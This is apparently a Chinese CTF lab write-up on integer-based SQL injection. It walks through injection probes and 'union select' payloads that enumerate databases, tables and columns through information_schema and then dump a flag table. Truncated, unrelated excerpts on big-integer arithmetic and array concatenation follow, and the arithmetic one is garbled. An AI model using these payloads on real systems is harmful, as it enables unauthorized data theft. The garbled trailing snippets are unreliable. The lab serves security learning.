1、整數型sql注入
(1)判斷是否存在注入
1)加單引號
url:
對應的sql:select * from table where id=3』 這時sql語句出錯,程式無法正常從資料庫中查詢出資料,就會丟擲異常;
2)加and 1=1
url: and 1=1
對應的sql:select * from table where id=3』 and 1=1 語句執行正常,與原始頁面如任何差異;
3)加and 1=2
url: and 1=2
對應的sql:select * from table where id=3 and 1=2 語句可以正常執行,但是無法查詢出結果,所以返回資料與原始網頁存在差異
如果滿足以上三點,則可以判斷該url存在數字型注入。
(2)查詢字段數量
url: order by 2
當id=1 order by 2時,頁面返回與id=1相同的結果;而id=1 order by 3時不一樣,故欄位數量是2。
(3)查詢sql語句插入位置
url: union select 1,2
此時要先保證之前的資料查不出來,之後再union。id=-1資料不存在資料庫中。可以看到位置2可以插入sql語句。
(4)獲取資料庫庫名
1)獲取當前資料庫庫名
2位置修改為:database(),version()
url: union select 1,database()
得到資料庫名稱為:sqli,由資料庫版本可知他是mysql的乙個分支
2)獲取所有資料庫庫名
3)逐條獲取資料庫庫名
語句:select schema_name from information_schema.schemata limit 0,1;
修改limit中第乙個數字獲取其他的資料庫名,如獲取第二個庫名:limit 1,1。
(5)獲取資料庫表名
1)方法一:一次獲取乙個表名
2位置修改:select table_name from information_schema.tables where table_schema='sqli' limit 0,1;
得到資料庫表名:news。修改limit中第乙個數字,如獲取第二個表名:limit 1,1,這樣就可以獲取所有的表名。
2)方法二:一次性獲取當前資料庫所有表名:
url:
union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
得到資料庫sqli中的表名為news和flag
(6)獲取欄位名
1)方法一:
以flag表為例,2位置修改為:
select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1;
url:
union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)
看到flag表中第乙個欄位是flag, 修改limit中第乙個數字,如獲取第二個欄位名:limit 1,1,依次類推,發現flag表中的欄位名稱只有乙個flag。
2)方法二:
以flag表為例,一次性獲取所有欄位名:
(7)獲取資料
1)方法一:
以emails表為例,2位置修改為:
(select flag from sqli.flag limit 0,1)
url: union select 1,(select flag from sqli.flag limit 0,1)
可以得到flag表中的第一條資料,修改limit中第乙個數字,如獲取第二個字段值
2)方法二:
以flag表為例,一次性獲取所有資料:
url: union select 1,group_concat(flag) from sqli.flag
CTFHub 字元型SQL注入
目錄 一 判斷是否存在注入 二 判斷select語句中有幾列 三 判斷顯示的資訊是第幾列的資訊 四 利用函式來收集資料庫資訊 五 通過union查詢資料庫 1 獲取所有資料庫名稱 2 查詢資料庫中有多少個表 3 查詢指定資料庫中的表名 4 查詢指定資料庫指定表中的列名 5 查詢指定資料庫指定表的列的...
大整數型運算
設n 是m位,則可以得到下列推導過程 基於十進位制數 10 m 1 n 10 m 1 兩邊同時取對數 m 1 n 10 m 1 接下來設定二重迴圈,模擬整數豎式乘法實施個陣列元素的累乘,演算法如下 main printf d n for j m j 1 j printf d a j 接下來再說說大整...
整數型陣列元素拼接問題
找給定的整數型陣列中將數拼接成的正整數中最小的,如給定 123 321 則形成的最小的整數字123321 利用stl中的演算法快速實現,如下 include include include include using namespace std bool compare const string s...